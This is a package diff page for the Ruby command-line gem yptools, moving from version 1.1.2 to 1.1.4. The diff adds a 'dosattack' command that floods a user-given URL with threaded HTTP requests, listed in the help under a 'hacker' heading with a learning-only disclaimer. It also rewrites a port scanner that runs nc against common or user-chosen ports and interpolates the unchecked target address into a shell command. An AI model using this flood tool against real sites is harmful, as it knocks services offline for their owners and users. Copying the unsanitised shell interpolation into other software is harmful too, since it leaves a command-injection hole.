yptools 1.1.2 → 1.1.4

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 8408e5e1a3c11b120fb7f35959032380a30e25363b87b24ed8db7aeed71682e3
4
- data.tar.gz: f13a54118992f2b3629895a2cf48b82ec401c66d8eb5e351977d5f07aca1a00a
3
+ metadata.gz: c49bfe04d254b19d13b80a1e9f5db8ffe4b5d44ec6008d304b6f867bee00e66b
4
+ data.tar.gz: 036e0974cc6ebe80b186c43f5ede5f39088d17847563391e7084f81c4d94a487
5
5
  SHA512:
6
- metadata.gz: 5e49cce07a4d0bfafc800d8cfa3d65a1ea826732bd3f0e8710e987d99f71bc97c6c35268096a6383ef1118ad4fe1861f3305800fc6e086055d1a0ee4fc30403f
7
- data.tar.gz: afef0a6c693d3ba8c0ed26838a5364c5d3a0b7837adbe9e3c60fab27b7f2e4f411f9c74b11dee3e96cab81003840d8d4de6b7e80f8d8cb5212bd16ac05d2e525
6
+ metadata.gz: a22f3e20325311844302d284987884261b4fc61e1de3cde94d5feb969a0653b843a09c270a6bedce162ecdf13d9f30d649723dbbec4da6a936c1c577bb398a32
7
+ data.tar.gz: 20daa32b7722a94e5e25c7b883e0ab6546698463a74256f73b6a4a770233295f24b2f7d504563db71c94d2738b0e045c76726db2352607ab68a3331fa8c60b41
@@ -0,0 +1,52 @@
1
+ require 'net/http'
2
+ require 'uri'
3
+
4
+ class YPDosAttack
5
+ def self.dosattack(argvs)
6
+ url = argvs[1]
7
+ request_count = argvs[2]
8
+
9
+ uri = URI(url) # 修改为你想要请求的网址
10
+
11
+ n = 10 # 发送 10 个请求
12
+ concurrency = 5 # 使用 5 个线程
13
+ if request_count
14
+ n = request_count.to_i
15
+ end
16
+
17
+ success_count = 0 # 计数器,记录成功次数
18
+ failure_count = 0 # 计数器,记录失败次数
19
+
20
+ mutex = Mutex.new # 互斥锁,用于对计数器的操作加锁
21
+
22
+ responses = Array.new(n) # 用于保存响应结果的数组
23
+
24
+ threads = []
25
+
26
+ n.times do |i|
27
+ threads << Thread.new do
28
+ begin
29
+ response = Net::HTTP.get_response(uri)
30
+ mutex.synchronize do
31
+ if response.is_a?(Net::HTTPSuccess)
32
+ success_count += 1
33
+ else
34
+ failure_count += 1
35
+ end
36
+ end
37
+ puts "当前请求结果 #{response.code} #{response.message}" + " -------- #{failure_count + success_count}"
38
+ rescue StandardError => e
39
+ failure_count += 1
40
+ puts "当前请求结果 #{e}" + " -------- #{failure_count + success_count}"
41
+ end
42
+ end
43
+
44
+ threads.pop(concurrency - 1).each(&:join) if threads.size >= concurrency
45
+ end
46
+
47
+ threads.each(&:join)
48
+
49
+ puts "成功次数: #{success_count},失败次数: #{failure_count}"
50
+
51
+ end
52
+ end
@@ -28,9 +28,11 @@ class YPHelp
28
28
  use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
29
29
 
30
30
  🤡🤡🤡 - hacker
31
- portscan: use [yptools portscan <ip地址或域名> [<端口范围>]] 扫描指定 IP 端口是否开放
32
-
33
31
  scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
32
+
33
+ portscan: use [yptools portscan <ip地址或域名> [<端口范围>]] 扫描指定 IP 端口是否开放
34
+
35
+ dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告:此方法仅用于学习使用」 ip=请求域名 n=攻击次数 (eg: yptools dosattack https://example.com 10000)
34
36
 
35
37
  💩💩💩 - 帮助(help)
36
38
  help: use [yptools help] 查看帮助
@@ -1,50 +1,35 @@
1
+ require 'colored'
2
+
1
3
  class YPPortScan
2
- def self.portscan(port, range)
3
- script = %Q(
4
- #!/bin/bash
5
-
6
- if [ -n "#{range}" ]; then
7
- all_port="#{range}"
8
- else
9
- all_port="1-65535"
10
- fi
4
+ COMMON_PORTS = [21, 22, 23, 25, 53, 80, 81, 88, 110, 111, 135, 139, 143, 161, 389, 443, 445, 465, 514, 587, 631, 993, 995, 1080, 1194, 1433, 1521, 2049, 2082, 2083, 2181, 2222, 2375, 2376, 3389, 3690, 4443, 5432, 5900, 5984, 6379, 7001, 7002, 8080, 8081, 8086, 8443, 8888, 9090, 9200, 9300, 10000, 11211, 15672, 27017, 28017, 50000, 50070, 50075, 50090]
5
+
6
+ def self.portscan(address, range)
7
+ ip_address = address
8
+ if range.nil? || range.empty? || range == "-d" || range == "-default"
9
+ port_range = COMMON_PORTS
10
+ yp_log_doing "正在扫描 #{ip_address} 常用的端口"
11
+ else
12
+ temp_port_range = range.split("-").map(&:to_i)
13
+ yp_log_doing "正在扫描 #{ip_address} 的端口 #{temp_port_range.min} 到 #{temp_port_range.max}..."
14
+ port_range = temp_port_range.size == 1 ? [temp_port_range[0]] : (temp_port_range[0]..temp_port_range[1]).to_a
15
+ end
11
16
 
12
- port_range=(${all_port//-/ })
13
- timeout=0.02
14
- ip_address=#{port}
17
+ open_ports = []
18
+ closed_ports = []
15
19
 
16
- port_range+=(#{range})
17
-
18
- echo "正在扫描 ${ip_address} 的端口 ${port_range[0]} 到 ${port_range[1]}..."
19
- echo ${port_range[1]}
20
-
21
- open_ports=()
22
- closed_ports=()
23
-
24
- for ((port = ${port_range[0]}; port <= ${port_range[1]}; port++)); do
25
- (echo >/dev/tcp/${ip_address}/${port}) >/dev/null 2>&1 &
26
- pid=$!
27
- (
28
- sleep ${timeout}
29
- kill ${pid} >/dev/null 2>&1
30
- ) &
31
- timer=$!
32
- if wait ${pid} 2>/dev/null; then
33
- echo "\\033[32m${port} 是开放的\\033[0m"
34
- open_ports+=($port)
35
- else
36
- echo "\\033[31m${port} 是关闭的\\033[0m"
37
- closed_ports+=($port)
38
- fi
39
- kill ${timer} >/dev/null 2>&1
40
- done
41
-
42
- allCount=$((${#open_ports[@]} + ${#closed_ports[@]}))
43
-
44
- echo ${allCount} "个端口扫描完成。"
45
- echo "共有 ${#open_ports[@]} 个端口是开放的,${#closed_ports[@]} 个端口是关闭的。"
46
- echo "开放的端口: " "\\033[32m${open_ports[@]}\\033[0m"
47
- )
48
- system(script)
20
+ port_range.each do |port|
21
+ `nc -w 1 -z #{ip_address} #{port} 2>&1 | grep succeeded`
22
+ if $?.success?
23
+ yp_log_success "#{port} 是开放的"
24
+ open_ports << port
25
+ else
26
+ yp_log_fail "#{port} 是关闭的"
27
+ closed_ports << port
28
+ end
49
29
  end
30
+
31
+ all_count = open_ports.size + closed_ports.size
32
+ yp_log_doing "共有 #{open_ports.size} 个端口是开放的,#{closed_ports.size} 个端口是关闭的。"
33
+ yp_log_success "#{all_count} 个端口扫描完成," + "开放的端口: #{open_ports}"
34
+ end
50
35
  end
data/lib/yptools.rb CHANGED
@@ -13,6 +13,7 @@ require_relative 'yptools/autocre/yp_autoinit'
13
13
  require_relative 'yptools/chatai/yp_chatai'
14
14
  require_relative 'yptools/portscan/yp_portscan'
15
15
  require_relative 'yptools/scanlocalips/yp_scanlocalips'
16
+ require_relative 'yptools/dosattack/yp_dosattack'
16
17
 
17
18
  class YPTools
18
19
 
@@ -113,6 +114,8 @@ class YPTools
113
114
  end
114
115
  when 'scanlocalips'
115
116
  self.scanlocalips
117
+ when 'dosattack'
118
+ self.dosattack argvs
116
119
  else
117
120
  self.help
118
121
  end
@@ -179,6 +182,10 @@ class YPTools
179
182
  YPScanLocalIPs.scanlocalips()
180
183
  end
181
184
 
185
+ def self.dosattack(argvs)
186
+ YPDosAttack.dosattack(argvs)
187
+ end
188
+
182
189
  end
183
190
 
184
191
 
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: yptools
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.1.2
4
+ version: 1.1.4
5
5
  platform: ruby
6
6
  authors:
7
7
  - chenghengsheng
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2023-03-26 00:00:00.000000000 Z
11
+ date: 2023-03-27 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: bundler
@@ -135,6 +135,7 @@ files:
135
135
  - lib/yptools/autocre/yp_autocre.rb
136
136
  - lib/yptools/autocre/yp_autoinit.rb
137
137
  - lib/yptools/chatai/yp_chatai.rb
138
+ - lib/yptools/dosattack/yp_dosattack.rb
138
139
  - lib/yptools/file/yp_updatecreatedate.rb
139
140
  - lib/yptools/help/yp_help.rb
140
141
  - lib/yptools/install/yp_install.rb